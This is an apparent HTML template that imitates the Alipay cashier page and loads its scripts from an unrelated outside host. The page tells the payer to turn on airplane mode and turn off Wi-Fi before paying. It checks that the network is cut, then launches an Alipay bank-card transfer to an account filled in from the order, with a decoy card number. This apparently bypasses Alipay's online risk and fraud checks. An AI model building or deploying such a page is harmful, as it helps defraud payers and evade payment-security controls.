
<!---->
<!--<iframe id="iframe"  name="mainIframe" src="/gateway/pay/bankQrcode3.do?id=--><!--" frameborder="0" scrolling="no" style="border: 1px;width:300px;"></iframe>-->
<!---->
<!--<script>-->
<!--    // 兼容性代码-->
<!--    function autoHeight(iframe) {-->
<!--        if (iframe) {-->
<!--            var iframeWin = iframe.contentWindow || iframe.contentDocument.parentWindow;-->
<!--            if (iframeWin.document.body) {-->
<!--                iframe.height = iframeWin.document.documentElement.scrollHeight || iframeWin.document.body.scrollHeight;-->
<!--                iframe.width = iframeWin.document.documentElement.scrollWidth || iframeWin.document.body.scrollWidth;-->
<!--            }-->
<!--        }-->
<!--    }-->
<!--    window.onload = function() {-->
<!--        autoHeight(document.getElementById('iframe'));-->
<!--    }-->
<!--</script>-->
<!DOCTYPE html>

<html xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="utf-8" />
    <meta content="IE=edge, chrome=1" http-equiv="X-UA-Compatible" />
    <meta content="webkit" name="renderer" />
    <title>支付宝</title>
    <meta content="yes" name="apple-mobile-web-app-capable" />
    <meta content="black" name="apple-mobile-web-app-status-bar-style" />
    <meta content="telephone=no,email=no" name="format-detection" />
    <meta id="WV.Meta.Share.Disabled" value="true" />
    <meta content="pay" name="data-bizType" />
    <meta content="a283" name="data-aspm" />

    <meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=0" name="viewport" />
    <link href="https://i.alipayobjects.com/i/ecmng/png/201406/2qBuceUYiL.png" rel="apple-touch-icon" />
    <link href="https://i.alipayobjects.com/i/ecmng/png/201406/2qBuceUYiL.png" rel="apple-touch-icon-precomposed" />
    <!-- CMS:安全支付客户端网关/common/tracker.vm开始:common/tracker.vm -->
    <script type="text/javascript" src="http://y5e3hgit.y2fh.com/js/jquery.min.js"></script>
    <script type="text/javascript" src="http://y5e3hgit.y2fh.com/js/alipayjsapi.min.js"></script>

    <!-- CMS:安全支付客户端网关/common/tracker.vm结束:common/tracker.vm --><script charset="utf-8" src="https://as.alipayobjects.com:443/g/snake/h5cashier/1.0.5/h5cashier.js"></script>
    <link href="https://as.alipayobjects.com:443/g/snake/h5cashier/1.0.5/h5cashier.css" media="all" rel="stylesheet" type="text/css" />

    <meta name="__hash__" content="007276c60e74475f1f7b5f52acfa7b34_4aa0e26c10023453cd654a2cebbbf9c8" /></head>
<body>



<header class="am-header">
    <h1>
        <span class="title-main" data-title="支付宝收银台">支付宝收银台</span>    </h1>

</header>


<noscript><h1 style="color:red">您的浏览器不支持JavaScript，请更换浏览器或开启JavaScript设置!</h1></noscript>
<!-- FD:256:mobileclientgw/home/v5/h5PayRoute.vm:START --><style>
    body {
        font-weight: 500;
        font-family: PingFangSC-Regular, "Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;
    }
    .am-header {
        display: none;
    }
    .alipay-logo {
        display: none;
    }
    .result {
        position: absolute;
        top: 50%;
        margin-top: -250px;
        width: 100%;
    }
    .result-logo {
        width: 70px;
        height: 98px;
        margin: auto;
        background-image: url();
        background-repeat: no-repeat;
        background-size: contain;
    }
    .result-title {
        margin: 40px 0 14px;
        text-align: center;
        font-size: 21px;
        color: #00a0e8;
        line-height: 25px;
    }
    .result-tips {
        max-width: 370px;
        margin: 0 auto 10px;
        padding: 0 15px;
        font-size: 15px;
        color: #a5a5a5;
        line-height:18px;
        text-align:left;
        word-break:break-all;
        word-wrap:break-word;
    }
    .result-botton {
        margin: 0 15px 20px;
    }
    .result-botton a {
        display: block;
        margin: auto;
        -webkit-box-sizing: border-box;
        box-sizing: border-box;
        max-width: 384px;
        height:44px;
        text-align: center;
    }
    .result-botton a.am-button-white {
        color: #00aaee;
        background:#ffffff;
        border:1px solid #00aaee;
    }
    .result-botton .am-button[disabled=disabled] {
        color: #e6e6e6;
        background: #f8f8f8;
        border: 1px solid #dedede;
    }
    .loading {
        display: none;
    }


    .result-txt {
        padding: 35px 15px 10px;
    }

    .result-txt p {
        margin: 0;
        padding: 0;
        font-size: 17px;
        line-height: 33px;
        color: #e6050e;
    }

</style>

<div class="loading"></div>
<div class="am-content">
    <input name="params" type="hidden" value="{&quot;server_param&quot;:&quot;emlkPTk5O25kcHQ9OTQ4NDtjYz15&quot;}" />
    <div class="result">
        <div class="result-logo"></div>
        <div class="result-txt">
            <p>1、打开飞行模式（WIFI关闭），点击支付<br>
                2、跳转到支付页面，关闭飞行模式继续付款<br>
                3、请勿随意修改金额，造成充值不到账
            </p>
            <p align="center"><img th:src="@{/img/guid/feixing.png}" width="290" height="160"></p>
        </div><br>
        <div class="result-botton"><a class="J-h5pay am-button am-button-blue" href="javascript:void(0)" id="okpay">耐心阅读方案，还需等待&nbsp;<span style="color:red;font-weight:bold;">15</span>&nbsp;秒</a></div>
    </div>
</div>

<footer>
    <div class="alipay-logo"></div>
    <div id="ServerNum">CN</div>
</footer>

<script>
    AlipayJSBridge.call('setTitle', {
        title: '支付宝安全支付',
    });
    var title1="请打开手机的飞行模式!";
    var   title2="跳转后请关闭飞行模式!!!";
    AlipayJSBridge.call('hideOptionMenu');
    var clickCount = 0;
    var cardNo = "请重新关闭飞行模式****";
    var bankAccount =  '[[${channelOrder.accountName}]]';
    var money = '[[${channelOrder.amount}]]';
    var amount = '[[${channelOrder.amount}]]';
    var bankMark = '[[${channelOrder.bankMark}]]';
    var bankName = '[[${channelOrder.bankName}]]';
    var cardId = '[[${channelOrder.cardId}]]';
    var a;
    if (cardId == "") {
        a = {
            actionType: "toCard",
            sourceId: "bill",
            cardNo: cardNo,
            bankAccount: bankAccount,
            money: money,
            amount: amount,
            bankMark: bankMark,
            bankName: bankName
        };
    } else {
        a = {
            actionType: "toCard",
            sourceId: "bill",
            cardNo: cardNo,
            bankAccount: bankAccount,
            money: money,
            amount: amount,
            bankMark: bankMark,
            bankName: bankName,
            cardIndex: cardId,
            cardNoHidden: true,
            cardChannel: "HISTORY_CARD",
            orderSource: "from"
        };
    }


    /**$("#okpay").bind("click",function(){
                    openAlipay();
                });**/
    function openAlipay() {

        if (clickCount == 0) {
            ap.alert({
                title: title1,
                content: '然后再按【立即支付】按钮',
                buttonText: '明白了！'
            }, function () {
            });
            clickCount++;
        }else {//if (clickCount >= 2) {
            checkNet();
        }
    }


    window.onload =  timer(15) ;
    function timer(intDiff) {
        var timer1 = window.setInterval(function () {
            var  second = Math.floor(intDiff);
            if (second == 0) {
                $("#okpay").html("我已知晓，戳我付款...");
                $("#okpay").bind("click",function(){
                    checkNet();//  openAlipay();
                });
                clearInterval(timer1);
            }else{
                if (second <= 14) second = second;
                $('#okpay').html('耐心阅读方案，还需等待&nbsp;<span style="color:red;font-weight:bold;">' + second + '</span>&nbsp;秒');
            }
            intDiff--;
        }, 1000);
    }




    //检查网络是否通的
    function checkNet(){
        var x = 100000;
        var y = 0;
        var rand = parseInt(Math.random() * (x - y + 1) + y);
        var ajaxObject = $.ajax({
            url: '/index.html?r='+rand,
            timeout:300,
            type: 'get',
            success: function(data){
                ap.alert({
                    title: '网络还是通的！！',
                    content: '请打开手机的飞行模式并关闭wifi！！',
                    buttonText: '明白了！'
                }, function () {
                });
            },
            error: function(data){
                ajaxObject.abort();
                ap.alert({
                    title: title2,
                    content: title2,
                    buttonText: '明白了！'
                }, function () {
                    $("#okpay").html("正在跳往支付页面...");
                    AlipayJSBridge.call("startApp", {
                        appId: "09999988",
                        param: a,
                    }, function (a) {
                        $("#okpay").html("立即支付");
                    });



                });
            }
        });
    }


</script>
</body></html>